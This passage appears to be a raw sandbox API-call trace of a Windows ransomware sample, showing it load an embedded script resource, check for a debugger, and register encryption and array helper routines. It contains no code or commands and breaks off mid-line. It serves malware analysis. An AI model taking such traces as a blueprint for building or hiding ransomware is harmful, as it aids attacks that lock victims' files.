[0049.563] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0049.563] GetProcAddress (hModule=0x75130000, lpProcName=0x955520) returned 0x7514ebb0 [0049.563] Wow64DisableWow64FsRedirection (in: OldValue=0x130f8bc | out: OldValue=0x130f8bc*=0x0) returned 1 [0049.563] FreeLibrary (hLibModule=0x75130000) returned 1 [0049.564] GetCurrentPackageId () returned 0x3d54 [0049.564] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x130f758, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0049.564] GetFileType (hFile=0x1d0) returned 0x1 [0049.564] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", hFile=0x0, dwFlags=0x2) returned 0x8a0000 [0049.565] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0049.565] GetProcAddress (hModule=0x75130000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7514eb90 [0049.565] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0049.565] FreeLibrary (hLibModule=0x75130000) returned 1 [0049.566] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x130f918 | out: ppstm=0x130f918*=0x15e9670) returned 0x0 [0049.567] FindResourceExW (hModule=0x8a0000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x967528 [0049.567] LoadResource (hModule=0x8a0000, hResInfo=0x967528) returned 0x96f7b8 [0049.567] SizeofResource (hModule=0x8a0000, hResInfo=0x967528) returned 0xa29a [0049.567] LockResource (hResData=0x96f7b8) returned 0x96f7b8 [0049.567] CMemStm::Write () returned 0x0 [0049.569] CMemStm::Seek () returned 0x0 [0049.569] CMemStm::Seek () returned 0x0 [0049.570] CMemStm::Read () returned 0x0 [0049.570] CMemStm::Seek () returned 0x0 [0049.570] CMemStm::Read () returned 0x0 [0049.570] CMemStm::Read () returned 0x0 [0049.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x130f780 | out: lpSystemTimeAsFileTime=0x130f780*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.571] CMemStm::Seek () returned 0x0 [0049.571] CMemStm::Seek () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x130eec0 | out: lpSystemTimeAsFileTime=0x130eec0*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.571] CMemStm::Read () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x130eec0 | out: lpSystemTimeAsFileTime=0x130eec0*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.571] CMemStm::Read () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x130eec0 | out: lpSystemTimeAsFileTime=0x130eec0*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.571] CMemStm::Read () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] CMemStm::Seek () returned 0x0 [0049.571] CMemStm::Read () returned 0x0 [0049.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x130f108 | out: lpSystemTimeAsFileTime=0x130f108*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.572] CloseHandle (hObject=0x1d0) returned 1 [0049.572] CMemStm::Release () returned 0x0 [0049.572] FreeLibrary (hLibModule=0x8a0000) returned 1 [0049.573] IsDebuggerPresent () returned 0 [0049.573] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x12ef8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x0) returned 0x2c [0049.573] GetLongPathNameW (in: lpszShortPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpszLongPath=0x12ef8d0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe") returned 0x2c [0049.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x12ef8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x0) returned 0x2c [0049.574] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0049.575] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7514ebb0 [0049.575] Wow64DisableWow64FsRedirection (in: OldValue=0x12ff83c | out: OldValue=0x12ff83c*=0x0) returned 1 [0049.575] FreeLibrary (hLibModule=0x75130000) returned 1 [0049.575] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x12ff6d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0049.575] GetFileType (hFile=0x1d0) returned 0x1 [0049.575] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", hFile=0x0, dwFlags=0x2) returned 0x8a0000 [0049.575] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0049.576] GetProcAddress (hModule=0x75130000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7514eb90 [0049.576] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0049.576] FreeLibrary (hLibModule=0x75130000) returned 1 [0049.576] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12ff86c | out: ppstm=0x12ff86c*=0x15fbaa8) returned 0x0 [0049.576] FindResourceExW (hModule=0x8a0000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x967528 [0049.576] LoadResource (hModule=0x8a0000, hResInfo=0x967528) returned 0x96f7b8 [0049.576] SizeofResource (hModule=0x8a0000, hResInfo=0x967528) returned 0xa29a [0049.576] LockResource (hResData=0x96f7b8) returned 0x96f7b8 [0049.576] ISequentialStream:RemoteWrite (in: This=0x15fbaa8, pv=0x96f7b8*=0xa3, cb=0xa29a, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0049.576] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0049.576] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0049.577] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x15fc888, cb=0x18, pcbRead=0x12ff7c4 | out: pv=0x15fc888*=0xa3, pcbRead=0x12ff7c4*=0x18) returned 0x0 [0049.577] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0049.577] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff808, cb=0x4, pcbRead=0x12ff7c4 | out: pv=0x12ff808*=0x45, pcbRead=0x12ff7c4*=0x4) returned 0x0 [0049.577] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff82c, cb=0x10, pcbRead=0x12ff804 | out: pv=0x12ff82c*=0x4d, pcbRead=0x12ff804*=0x10) returned 0x0 [0049.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff700 | out: lpSystemTimeAsFileTime=0x12ff700*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.577] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0049.577] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0049.577] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff180, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff180*=0x6b, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fee40 | out: lpSystemTimeAsFileTime=0x12fee40*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff188, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff188*=0xa6, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12fef70, cb=0x34, pcbRead=0x12fef44 | out: pv=0x12fef70*=0xe1, pcbRead=0x12fef44*=0x34) returned 0x0 [0049.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fee40 | out: lpSystemTimeAsFileTime=0x12fee40*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff188, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff188*=0x1d, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff1b4, cb=0x7a, pcbRead=0x12fef44 | out: pv=0x12ff1b4*=0xa1, pcbRead=0x12fef44*=0x7a) returned 0x0 [0049.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fee40 | out: lpSystemTimeAsFileTime=0x12fee40*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.578] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff178, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff178*=0xbc, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff180, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff180*=0x6b, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fee40 | out: lpSystemTimeAsFileTime=0x12fee40*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff188, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff188*=0xaf, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12fef70, cb=0x26, pcbRead=0x12fef44 | out: pv=0x12fef70*=0xe6, pcbRead=0x12fef44*=0x26) returned 0x0 [0049.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fee40 | out: lpSystemTimeAsFileTime=0x12fee40*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff188, cb=0x4, pcbRead=0x12fef44 | out: pv=0x12ff188*=0x61, pcbRead=0x12fef44*=0x4) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff1b4, cb=0x82, pcbRead=0x12fef44 | out: pv=0x12ff1b4*=0x13, pcbRead=0x12fef44*=0x82) returned 0x0 [0049.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fee40 | out: lpSystemTimeAsFileTime=0x12fee40*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff83b, cb=0x1, pcbRead=0x12ff18c | out: pv=0x12ff83b*=0x1, pcbRead=0x12ff18c*=0x1) returned 0x0 [0049.578] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff834, cb=0x4, pcbRead=0x12ff18c | out: pv=0x12ff834*=0x7e, pcbRead=0x12ff18c*=0x4) returned 0x0 [0049.579] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff834, cb=0x4, pcbRead=0x12ff18c | out: pv=0x12ff834*=0xe9, pcbRead=0x12ff18c*=0x4) returned 0x0 [0049.579] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x12ff834, cb=0x4, pcbRead=0x12ff18c | out: pv=0x12ff834*=0xd, pcbRead=0x12ff18c*=0x4) returned 0x0 [0049.579] IStream:RemoteSeek (in: This=0x15fbaa8, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0049.580] ISequentialStream:RemoteRead (in: This=0x15fbaa8, pv=0x15fc888, cb=0xa0c2, pcbRead=0x12ff18c | out: pv=0x15fc888*=0x6d, pcbRead=0x12ff18c*=0xa0c2) returned 0x0 [0049.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff088 | out: lpSystemTimeAsFileTime=0x12ff088*(dwLowDateTime=0xbabb057d, dwHighDateTime=0x1d45384)) [0049.629] CloseHandle (hObject=0x1d0) returned 1 [0049.630] IUnknown:Release (This=0x15fbaa8) returned 0x0 [0049.630] FreeLibrary (hLibModule=0x8a0000) returned 1 [0049.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x130f958, lpFilePart=0x132f978 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x132f978*="Ransomware.exe") returned 0x2c [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_HASHDATA", cchLength=0xf | out: lpsz="_CRYPT_HASHDATA") returned 0xf [0049.634] CharUpperBuffW (in: lpsz="_CRYPT_HASHDATA", cchLength=0xf | out: lpsz="_CRYPT_HASHDATA") returned 0xf [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_HASHFILE", cchLength=0xf | out: lpsz="_CRYPT_HASHFILE") returned 0xf [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_HASHFILE", cchLength=0xf | out: lpsz="_CRYPT_HASHFILE") returned 0xf [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_GENRANDOM", cchLength=0x10 | out: lpsz="_CRYPT_GENRANDOM") returned 0x10 [0049.635] CharUpperBuffW (in: lpsz="_CRYPT_GENRANDOM", cchLength=0x10 | out: lpsz="_CRYPT_GENRANDOM") returned 0x10 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.635] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0049.636] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0049.636] CharUpperBuffW (in: lpsz="_ARRAYADD", cchLength=0x9 | out: lpsz="_ARRAYADD") returned 0x9 [0049.636] CharUpperBuffW (in: lpsz="_ARRAYADD", cchLength=0x9 | out: lpsz="_ARRAYADD") returned 0x9 [0049.636] CharUpperBuffW (in: lpsz="_ARRAYBINARYSEARCH", cchLength=0x12 | out: lpsz="_ARRAYBINARYSEARCH") returned 0x12 [0049.637] CharUpperBuffW (in: lpsz="_ARRAYBINARYSEARCH", cchLength=0x12 | out: lpsz="_ARRAYBINARYSEARCH") returned 0x12 [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCOLDELETE", cchLength=0xf | out: lpsz="_ARRAYCOLDELETE") returned 0xf [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCOLDELETE", cchLength=0xf | out: lpsz="_ARRAYCOLDELETE") returned 0xf [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCOLINSERT", cchLength=0xf | out: lpsz="_ARRAYCOLINSERT") returned 0xf [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCOLINSERT", cchLength=0xf | out: lpsz="_ARRAYCOLINSERT") returned 0xf [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCOMBINATIONS", cchLength=0x12 | out: lpsz="_ARRAYCOMBINATIONS") returned 0x12 [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCOMBINATIONS", cchLength=0x12 | out: lpsz="_ARRAYCOMBINATIONS") returned 0x12 [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCONCATENATE", cchLength=0x11 | out: lpsz="_ARRAYCONCATENATE") returned 0x11 [0049.637] CharUpperBuffW (in: lpsz="_ARRAYCONCATENATE", cchLength=0x11 | out: lpsz="_ARRAYCONCATENATE") returned 0x11 [0049.637] CharUpperBuffW (in: lpsz="_ARRAYDELETE", cchLength=0xc | out: lpsz="_ARRAYDELETE") returned 0xc [0049.637] CharUpperBuffW (in: lpsz="_ARRAYDELETE", cchLength=0xc | out: lpsz="_ARRAYDELETE") returned 0xc [0049.637] CharUpperBuffW (in: lpsz="_ARRAYDISPLAY", cchLength=0xd | out: lpsz="_ARRAYDISPLAY") returned 0xd [0049.637] CharUpperBuffW (in: lpsz="_ARRAYDISPLAY", cchLength=0xd | out: lpsz="_ARRAYDISPLAY") returned 0xd [0049.637] CharUpperBuffW (in: lpsz="_ARRAYEXTRACT", cchLength=0xd | out: lpsz="_ARRAYEXTRACT") returned 0xd [0049.637] CharUpperBuffW (in: lpsz="_ARRAYEXTRACT", cchLength=0xd | out: lpsz="_ARRAYEXTRACT") returned 0xd [0049.637] CharUpperBuffW (in: lpsz="_ARRAYFINDALL", cchLength=0xd | out: lpsz="_ARRAYFINDALL") returned 0xd [0049.638] CharUpperBuffW (in: lpsz="_ARRAYFINDALL", cchLength=0xd | out: lpsz="_ARRAYFINDALL") returned 0xd [0049.638] CharUpperBuffW (in: lpsz="_ARRAYINSERT", cchLength=0xc | out: lpsz="_ARRAYINSERT") returned 0xc [0049.638] CharUpperBuffW (in: lpsz="_ARRAYINSERT", cchLength=0xc | out: lpsz="_ARRAYINSERT") returned 0xc [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMAX", cchLength=0x9 | out: lpsz="_ARRAYMAX") returned 0x9 [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMAX", cchLength=0x9 | out: lpsz="_ARRAYMAX") returned 0x9 [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMAXINDEX", cchLength=0xe | out: lpsz="_ARRAYMAXINDEX") returned 0xe [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMAXINDEX", cchLength=0xe | out: lpsz="_ARRAYMAXINDEX") returned 0xe [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMIN", cchLength=0x9 | out: lpsz="_ARRAYMIN") returned 0x9 [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMIN", cchLength=0x9 | out: lpsz="_ARRAYMIN") returned 0x9 [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMININDEX", cchLength=0xe | out: lpsz="_ARRAYMININDEX") returned 0xe [0049.638] CharUpperBuffW (in: lpsz="_ARRAYMININDEX", cchLength=0xe | out: lpsz="_ARRAYMININDEX") returned 0xe [0049.638] CharUpperBuffW (in: lpsz="_ARRAYPERMUTE", cchLength=0xd | out: lpsz="_ARRAYPERMUTE") returned 0xd [0049.638] CharUpperBuffW (in: lpsz="_ARRAYPERMUTE", cchLength=0xd | out: lpsz="_ARRAYPERMUTE") returned 0xd [0049.638] CharUpperBuffW (in: lpsz="_ARRAYPOP", cchLength=0x9 | out: lpsz="_ARRAYPOP") returned 0x9 [0049.638] CharUpperBuffW (in: lpsz="_ARRAYPOP", cchLength=0x9 | out: lpsz="_ARRAYPOP") returned 0x9 [0049.639] CharUpperBuffW (in: lpsz="_ARRAYPUSH", cchLength=0xa | out: lpsz="_ARRAYPUSH") returned 0xa [0049.639] CharUpperBuffW (in: lpsz="_ARRAYPUSH", cchLength=0xa | out: lpsz="_ARRAYPUSH") returned 0xa [0049.639] CharUpperBuffW (in: lpsz="_ARRAYREVERSE", cchLength=0xd | out: lpsz="_ARRAYREVERSE") returned 0xd [0049.639] CharUpperBuffW (in: lpsz="_ARRAYREVERSE", cchLength=0xd | out: lpsz="_ARRAYREVERSE") returned 0xd [0049.639] CharUpperBuffW (in: lpsz="_ARRAYSEARCH", cchLength=0xc | out: lpsz="_ARRAYSEARCH") returned 0xc [0049.639] CharUpperBuffW (in: lpsz="_ARRAYSEARCH", cchLength=0xc | out: lpsz="_ARRAYSEARCH") returned 0xc [0049.639] CharUpperBuffW (in: lpsz="_ARRAYSHUFFLE", cchLength=0xd | out: lpsz="_ARRAYSHUFFLE") returned 0xd [0049.639] CharUpperBuffW (in: lpsz="_ARRAYSHUFFLE", cchLength=0xd | out: lpsz="_ARRAYSHUFFLE") returned 0xd [0049.639] CharUpperBuffW (in: lpsz="_ARRAYSORT", cchLength=0xa | out: lpsz="_ARRAYSORT") returned 0xa [0049.639] CharUpperBuffW (in: lpsz="_ARRAYSORT", cchLength=0xa | out: lpsz="_ARRAYSORT") returned 0xa [0049.639] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT1D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT1D") returned 0x12 [0049.639] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT1D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT1D") returned 0x12 [0049.639] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT2D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT2D") returned 0x12 [0049.639] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT2D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT2D") returned 0x12 [0049.639] CharUpperBuffW (in: lpsz="__ARRAYDUALPIVOTSORT", cchLength=0x14 | out: lpsz="__ARRAYDUALPIVOTSORT") returned 0x14 [0049.639] CharUpperBuffW (in: lpsz="__ARRAYDUALPIVOTSORT", cchLength=0x14 | out: lpsz="__ARRAYDUALPIVOTSORT") returned 0x14 [0049.640] CharUpperBuffW (in: lpsz="_ARRAYSWAP", cchLength=0xa | out: lpsz="_ARRAYSWAP") returned 0xa [0049.640] CharUpperBuffW (in: lpsz="_ARRAYSWAP", cchLength=0xa | out: lpsz="_ARRAYSWAP") returned 0xa [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTOCLIP", cchLength=0xc | out: lpsz="_ARRAYTOCLIP") returned 0xc [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTOCLIP", cchLength=0xc | out: lpsz="_ARRAYTOCLIP") returned 0xc [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTOSTRING", cchLength=0xe | out: lpsz="_ARRAYTOSTRING") returned 0xe [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTOSTRING", cchLength=0xe | out: lpsz="_ARRAYTOSTRING") returned 0xe [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTRANSPOSE", cchLength=0xf | out: lpsz="_ARRAYTRANSPOSE") returned 0xf [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTRANSPOSE", cchLength=0xf | out: lpsz="_ARRAYTRANSPOSE") returned 0xf [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTRIM", cchLength=0xa | out: lpsz="_ARRAYTRIM") returned 0xa [0049.640] CharUpperBuffW (in: lpsz="_ARRAYTRIM", cchLength=0xa | out: lpsz="_ARRAYTRIM") returned 0xa [0049.640] CharUpperBuffW (in: lpsz="_ARRAYUNIQUE", cchLength=0xc | out: lpsz="_ARRAYUNIQUE") returned 0xc [0049.640] CharUpperBuffW (in: lpsz="_ARRAYUNIQUE", cchLength=0xc | out: lpsz="_ARRAYUNIQUE") returned 0xc [0049.640] CharUpperBuffW (in: lpsz="_ARRAY1DTOHISTOGRAM", cchLength=0x13 | out: lpsz="_ARRAY1DTOHISTOGRAM") returned 0x13 [0049.640] CharUpperBuffW (in: lpsz="_ARRAY1DTOHISTOGRAM", cchLength=0x13 | out: lpsz="_ARRAY1DTOHISTOGRAM") returned 0x13 [0049.640] CharUpperBuffW (in: lpsz="__ARRAY_STRINGREPEAT", 